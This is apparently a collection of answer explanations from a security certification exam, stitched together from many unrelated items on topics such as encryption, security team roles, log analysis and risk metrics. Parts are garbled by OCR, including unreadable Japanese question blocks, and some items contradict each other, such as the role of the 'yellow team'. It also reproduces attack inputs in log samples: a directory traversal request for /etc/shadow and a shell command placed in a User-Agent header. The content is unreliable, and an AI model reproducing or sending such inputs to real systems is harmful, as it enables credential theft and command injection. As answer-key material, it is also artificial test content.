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The company should request a certification from the vendor that confirms the storage array has been disposed of securely and in compliance with the company's policies and
standards. A certification provides evidence that the vendor has followed the proper procedures and methods to destroy the classified data and prevent unauthorized access or
recovery. A certification may also include details such as the date, time, location, and method of disposal, as well as the names and signatures of the personnel involved.
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Purple is the team that combines both offensive and defensive testing techniques to protect an organization's critical systems. Purple is not a separate team, but rather a

collaboration between the red team and the blue team. The red team is the offensive team that simulates attacks and exploits vulnerabilities in the organization's systems. The
blue team is the defensive team that monitors and protects the organization's systems from real and simulated threats. The purple team exists to ensure and maximize the

effectiveness of the red and blue teams by integrating the defensive tactics and controls from the blue team with the threats and vulnerabilities found by the red team into a
single narrative that improves the overall security posture of the organization.

Red, blue, and yellow are other types of teams involved in security testing, but they do not combine both offensive and defensive techniques. The yellow team is the team that
builds software solutions, scripts, and other programs that the blue team uses in the security testing.
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Blackmail occurs when an attacker threatens to expose sensitive or damaging information about a victim unless the victim complies with certain demands. In this scenario, the
attacker coerces the employee into installing malware by threatening to publish the employee's private files, which is a classic form of coercion through blackmail.
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Privileged access management (PAM) solutions effectively mitigate pass-the-hash attacks by enforcing least privilege and session management for administrative accounts.
These tools restrict how and when credentials can be accessed, thereby reducing attack surfaces.
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Packet capture data can be very large and may not need to be stored for extended periods compared to other logs essential for security audits.
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Screen locks: Enforcing screen lock policies ensures that unauthorized users cannot easily access the device contents if a phone is lost or stolen. This adds a crucial first layer

Mmoo W >

of protection.
Remote wipe: This feature allows administrators to erase all data on a lost or stolen device remotely. It is essential in preventing malicious access to sensitive corporate data,
especially if the device is compromised.
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A Non-Disclosure Agreement (NDA) is a legal contract that restricts parties from disclosing proprietary or confidential information to unauthorized individuals or organizations,
making it the most suitable option for protecting sensitive company data.
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Full Disk Encryption (FDE) ensures that all data on the drive is encrypted, preventing unauthorized access even if the device is lost.
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To determine whether the connection was successful after a user clicked on a link in a phishing email, the most relevant log source to analyze would be the network logs. These
logs would provide information on outbound and inbound traffic, allowing the analyst to see if the user's system connected to the remote server specified in the phishing link.
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Network logs can include details such as IP addresses, domains accessed, and the success or failure of connections, which are crucial for understanding the impact of the
phishing attempt.
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The most likely way a rogue device was able to connect to the network is through a MAC cloning attack. In this attack, a personal device copies the MAC address of an
authorized device, bypassing the 802.1X access control that relies on known hardware addresses for network access. The matching MAC addresses in the audit report suggest
that this technique was used to gain unauthorized network access.
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A one-time risk assessment is performed for unique events such as decommissioning an application, to evaluate potential security or compliance impacts before the system is
retired.
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TLS - Data in transit: TLS encrypts sessions as information moves across networks, preventing interception or tampering while the data is traveling.

FDE - Data at rest: Full-disk encryption protects files stored on the device; if the drive is lost or stolen, the data remains unreadable without the key.
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FIM continuously monitors files and their permissions on network shares, alerting when items are deleted or access rights are changed so administrators can quickly investigate
and remediate.
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Baseline enforcement ensures that all systems adhere to predefined security configurations, such as approved OS versions and patch levels, improving compliance and
reducing vulnerabilities.
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Non-repudiation ensures that a sender cannot deny having performed an action such as sending a message. It is typically achieved through mechanisms like digital signatures
and cryptographic proof that uniquely bind the sender to the transmitted data. This provides verifiable evidence of the origin of the message.
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Reviewing the source code of an application to identify misconfigurations and vulnerabilities is best described as static analysis. Static analysis involves examining the code
without executing the program. It focuses on finding potential security issues, coding errors, and vulnerabilities by analyzing the code itself.
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Static analysis: Analyzes the source code or compiled code for vulnerabilities without executing the program.

Dynamic analysis: Involves testing and evaluating the program while it is running to identify vulnerabilities.

Gap analysis: Identifies differences between the current state and desired state, often used for compliance or process improvement.
Impact analysis: Assesses the potential effects of changes in a system or process.
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With no patch available for a zero-day, deploying compensating controls, such as enhanced monitoring, intrusion prevention, and strict access restrictions, reduces risk while

keeping critical servers online.
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Embedded systems are often legacy, purpose-built devices with limited vendor support, are critical to industrial operations, and commonly require network segmentation and
close monitoring due to unpatched vulnerabilities.
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Privacy data classification includes Personally Identifiable Information (PIl), which consists of an employee's personal details such as name, address, Social Security number, or
other sensitive information. Organizational policies and standards concerning the storage and protection of such data fall under privacy regulations (e.g., GDPR, CCPA, or
HIPAA). Ensuring compliance with these policies helps prevent unauthorized access and data breaches.
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SCADA systems orchestrate and manage PLCs in industrial environments, and their native management protocols (e.g., Modbus, DNP3) are often sent unencrypted.
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Modifying the device's file structure to gain root access and install unauthorized software describes jailbreaking.
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Annualized Rate of Occurrence represents the expected number of times a risk event occurs in one year. If ten incidents are expected over a five-year period, the annual rate is
calculated by dividing the total incidents by the number of years. This results in two incidents per year.
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A backout plan provides predefined steps to revert a change if it fails or causes issues, minimizing downtime and preventing extended customer impact.
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Segmentation is a network design technique that divides the network into smaller and isolated segments based on logical or physical boundaries. Segmentation can help
improve network security by limiting the scope of an attack, reducing the attack surface, and enforcing access control policies. Segmentation can also enhance network
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performance, scalability, and manageability. To accomplish the goal of storing customer data on a separate part of the network, the administrator can use segmentation
technologies such as subnetting, VLANS, firewalls, routers, or switches.
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Red teams are focused only on trying to compromise an organization using an attacker's tactics.

They simulate real-world attacks to test the effectiveness of the organization's security defenses and identify vulnerabilities.
Red team: Acts as adversaries to simulate attacks and find security weaknesses.

White team: Oversees and ensures the rules of engagement are followed during the penetration test.

Purple team: Facilitates collaboration between the red team and the blue team to improve security.

Blue team: Defends against attacks and responds to security incidents.
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A digital certificate enables both encryption (confidentiality) and digital signatures (integrity), providing strong cryptographic protection for data.
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After applying fixes, rescanning is essential to verify that the remediated systems no longer exhibit the previously detected vulnerabilities, ensuring true compliance with the
audit findings.
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Downloading publicly available website content without exploiting vulnerabilities or interacting with private systems is passive reconnaissance - collecting information from
external sources without direct intrusion.
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OSINT involves gathering information from publicly available sources such as websites, social media, and public records to identify potential security exposures and threats.
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Application logs contain detailed information about the operations of specific applications, such as the billing system in question. These logs can provide records of user
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activities, system events, transactions, and other relevant information related to the fraudulent issuance of checks.
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Sanctions imposed for non-compliance can include fines, legal actions, and loss of business licenses. These pose a significant financial and reputational risk to organizations.
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The log entry in the image suggests that the system is potentially under attack, as the User-Agent header contains what looks like a shell command: ${/bin/sh/id}. This type of
activity may indicate an attempted command injection attack, where an attacker is trying to execute shell commands via a vulnerable web application.
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Packet captures provide detailed evidence of the actual network communication, including destination, protocol, payload metadata, and timing. Firewall traffic logs help validate
whether the development server made outbound connections at 2:30 a.m., where the traffic went, and whether it violated expected network behavior.
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UBA builds baselines of normal user and entity activity (logins, data access patterns, movement between hosts) and flags deviations - the kind of anomalous lateral movement a
zero-day-driven intruder generates. Because it's behavior-based rather than signature-based, it can surface unseen exploits faster and shrink detection time for novel attacks.
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Confidentiality is the security concept that ensures data is protected from unauthorized access or disclosure. The principle of least privilege is a technique that grants users or
systems the minimum level of access or permissions that they need to perform their tasks, and nothing more.

By applying the principle of least privilege to a human resources fileshare, the permissions can be restricted to only those who have a legitimate need to access the sensitive
data, such as HR staff, managers, or auditors. This can prevent unauthorized users, such as hackers, employees, or contractors, from accessing, copying, modifying, or
deleting the data. Therefore, the principle of least privilege can enhance the confidentiality of the data on the fileshare. Integrity, availability, and non-repudiation are other
security concepts, but they are not the best reason for permissions on a human resources fileshare to follow the principle of least privilege. Integrity is the security concept that
ensures data is accurate and consistent, and protected from unauthorized modification or corruption. Availability is the security concept that ensures data is accessible and
usable by authorized users or systems when needed. Non-repudiation is the security concept that ensures the authenticity and accountability of data and actions, and prevents
the denial of involvement or responsibility. While these concepts are also important for data security, they are not directly related to the level of access or permissions granted to
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users or systems.
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Threat hunting uses known indicators of compromise to proactively search the environment for signs of malicious activity. This helps determine whether systems have already
been affected by the threat described in the bulletin.
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The ban represents a government-imposed sanction; the general counsel must ensure the hardware refresh avoids any continued use or procurement of the sanctioned
vendor's devices to remain legally compliant.
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A Memorandum of Agreement (MOA) outlines terms of cooperation, including restrictions on sharing intellectual property. A breach indicates the terms of the agreement were
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violated, compromising confidentiality or usage terms.
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Encryption ensures confidentiality by protecting sensitive data from unauthorized access, allowing only authorized parties with the correct decryption key to read it.
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Infrastructure as code (IaC) is a method of using code and automation to manage and provision cloud resources, such as servers, networks, storage, and applications. 1aC
allows for easy deployment, scalability, consistency, and repeatability of cloud environments. l1aC is also a key component of DevSecOps, which integrates security into the
development and operations processes.
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A keylogger can interfere with normal input behavior and introduce lag while capturing keystrokes during credential entry, which aligns with the observed cursor issues and
delays when typing login information.
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The Yellow Team is a relatively newer concept in cybersecurity testing that combines both defensive (Blue Team) and offensive (Red Team) methodologies. This team works
with developers to securely build key applications and software by integrating security practices throughout the development lifecycle, also known as Secure Development
Lifecycle (SDLC).

Their focus is on proactively addressing vulnerabilities while also testing the application for security flaws from an attacker's perspective.

Eﬁ:ﬁ: 516

HHHBD BHERBOREBLARED A U F—R Y b T —FLOY =2 v LA T4 FICEBEINTWAILZRRALELL, COLSLBHREICHLT H-OIC HEBIETRDSH
ENZFERIANESTLELEOIN?

A. 7%

B.T>a—F«42¥

C.avI347UA

D. #&Feit

IEf#E: (EfEZRTLET)

Classification helps define the sensitivity level of information and the handling requirements for protecting it. Internal product specifications should be classified appropriately so
the organization can identify exposure, prioritize response actions, and manage the incident according to the data's sensitivity.
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Honeypot attracts and traps attacker and DNS sinkhole redirects malicious domain name queries to a controlled server to detect and block communication between
compromised host and their C2 servers.
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A site survey involves evaluating the physical environment, measuring building materials, interference sources, and coverage requirements, to determine optimal access-point
placement.
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A buffer overflow is a vulnerability that occurs when an application writes more data to a memory buffer than it can hold, causing the excess data to overwrite adjacent memory
locations. A register is a small storage area in the CPU that holds temporary data or instructions. An attacker can exploit a buffer overflow to overwrite a register with a malicious
address that points to a shellcode, which is a piece of code that gives the attacker control over the system. By doing so, the attacker can bypass the normal execution flow of
the application and execute arbitrary commands.
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Risk threshold is the maximum amount of risk that an organization is willing to accept for a given activity or decision. It is also known as risk appetite or risk tolerance. Risk
threshold helps an organization to prioritize and allocate resources for risk management. Risk indicator, risk level, and risk score are different ways of measuring or expressing
the likelihood and impact of a risk, but they do not describe the maximum allowance of accepted risk.
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Incident response begins with preparation, where policies, procedures, tools, and trained personnel are established to handle security incidents effectively. After preparation, the
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next steps are detection and analysis, where potential incidents are identified, investigated, and validated to determine their scope and impact before containment and
remediation activities begin.
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Quarantining a potentially infected system by placing it into an air-gapped environment physically disconnects it from the network. This prevents the spread of malware while
maintaining the integrity of forensic evidence.
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Changing the default credentials would have blocked unauthorized access to the application's administrative interface, preventing attackers from logging in overnight and
creating privileged accounts.
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A brute-force attack involves repeatedly attempting different password combinations to gain access to an account. Continuous authentication attempts can trigger account
lockouts due to security policies that lock accounts after multiple failed login attempts. These repeated attempts can also generate system or web access errors and may slow
browsing performance due to the increased authentication traffic and security checks being triggered.
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Opening both SMB and RDP from the Internet into a dedicated VLAN is not a standard practice for production services or a simple jump host (which would only require
RDP/SSH). Instead, exposing these services in a controlled network segment is characteristic of a honeynet, designed to lure, observe, and analyze attacker behavior against
file-sharing and remote-access services.
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CVSS provides a standardized, numerical severity rating for each vulnerability, enabling an analyst to efficiently rank and prioritize scan findings based on objective risk metrics.
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Data retention is the principle that mandates an organization to keep files or records for a specified period before disposing of them, often to meet legal or regulatory
requirements.
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Domain Name Server (DNS) spoofing, or DNS cache poisoning, is an attack involving manipulating DNS records to redirect users toward a fraudulent, malicious website that
may resemble the user's intended destination.
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Sender Policy Framework allows a domain owner to specify which mail servers are authorized to send email on behalf of the domain by publishing this information in a DNS
record. Receiving mail servers check the sending server's IP address against the domain's SPF record to verify that the email originates from an approved source. This helps
prevent spoofing and reduces the likelihood that legitimate emails will be flagged as spam.

B[ 531
ABRRBB T, EXEOHHRRE, DBEH, FHERBCEAL T TELEEILISNEEBRFIAB O TS, EEHAZ V- BALXOREXEEZREBICERT S LFEE
BTEZL, EC T EBIEBEENGEXF L) T REOREZEFELEVEZATNS,

BEOEBFEANDEFDEZRET IRRDFAEEENTI M ?
A. RERERER

B. RE1TEIDRH

C.Y—Sx LIV T U DRE

D. ERtEF*aTa4HR)I—

EfR: (EffZzRTLET)

Anomalous behavior recognition establishes a baseline of normal user and system activity and automatically detects deviations, enabling identification of potential security
breaches at scale.
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Firmware is a type of software that is embedded in a hardware device, such as a router, a printer, or a BIOS chip. Firmware controls the basic functions and operations of the
device, and it can be updated or modified by the manufacturer or the user. Firmware version is a hardware-specific vulnerability, as it can expose the device to security risks if it
is outdated, corrupted, or tampered with. An attacker can exploit firmware vulnerabilities to gain unauthorized access, modify device settings, install malware, or cause damage
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to the device or the network. Therefore, it is important to keep firmware updated and verify its integrity and authenticity.
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Host: Acmelnc.web.net

uscragent: python-request/ 2.27.1

GET /image?filename= ../../../etc/shadow
[lost: Acmelnc.web.net
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The "../../..letc/passwd" and "../../../etc/shadow" path sequences attempt to climb directories and read sensitive files, indicating a directory traversal attack.
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The first priority is to revoke any compromise certificates. This ensures that those certificates can no longer be used for unauthorized access.
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Running daily vulnerability scans on all corporate endpoints is primarily done to track the status of patching installations. These scans help identify any missing security patches
or vulnerabilities that could be exploited by attackers. Keeping the endpoints up-to-date with the latest patches is critical for maintaining security.
Finding shadow IT cloud deployments and monitoring hardware inventory are better achieved through other tools.

Hunting for active attackers would typically involve more real-time threat detection methods than daily vulnerability scans.
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Remediation priorities must align with the organization's overall risk tolerance - vulnerabilities whose residual risk exceeds that threshold receive the highest priority for
corrective action.
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IOT devices often transmit sensitive data over networks and encryption ensures that this data is securely transmitted and protected from interception or tampering.
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Spyware covertly collects and transmits data to external servers, often to IP addresses with known bad reputations, matching the described behavior in the logs.
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Configuring API integrations between the appliance and network devices allows the appliance to instruct switches, routers, or firewalls to block or filter malicious traffic once
threats such as lateral movement are detected. This approach enables enforcement across the network without requiring all traffic to pass directly through the appliance,
supporting scalability.

Setting up a network tap and sending connection metadata to the appliance allows the appliance to monitor both north-south and east-west traffic without being placed inline.
Because the appliance interface is limited to 1Gbps, sending metadata instead of full traffic ensures visibility while avoiding bandwidth limitations and maintaining scalable
monitoring.
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The Common Vulnerability Scoring System (CVSS) provides a standardized severity score for vulnerabilities, enabling analysts to prioritize remediation efforts based on risk
impact.
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IT department already conducted a phishing camping, Social engineering would be best to improve security posture.
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A generator provides backup power in the event of a power outage, ensuring that critical systems remain operational. Since the company's only data center was halted due to
the outage, installing a generator would help prevent downtime in the future by supplying power when the main power source fails. Other options, such as snapshots and load
balancing, do not directly address power failure issues.
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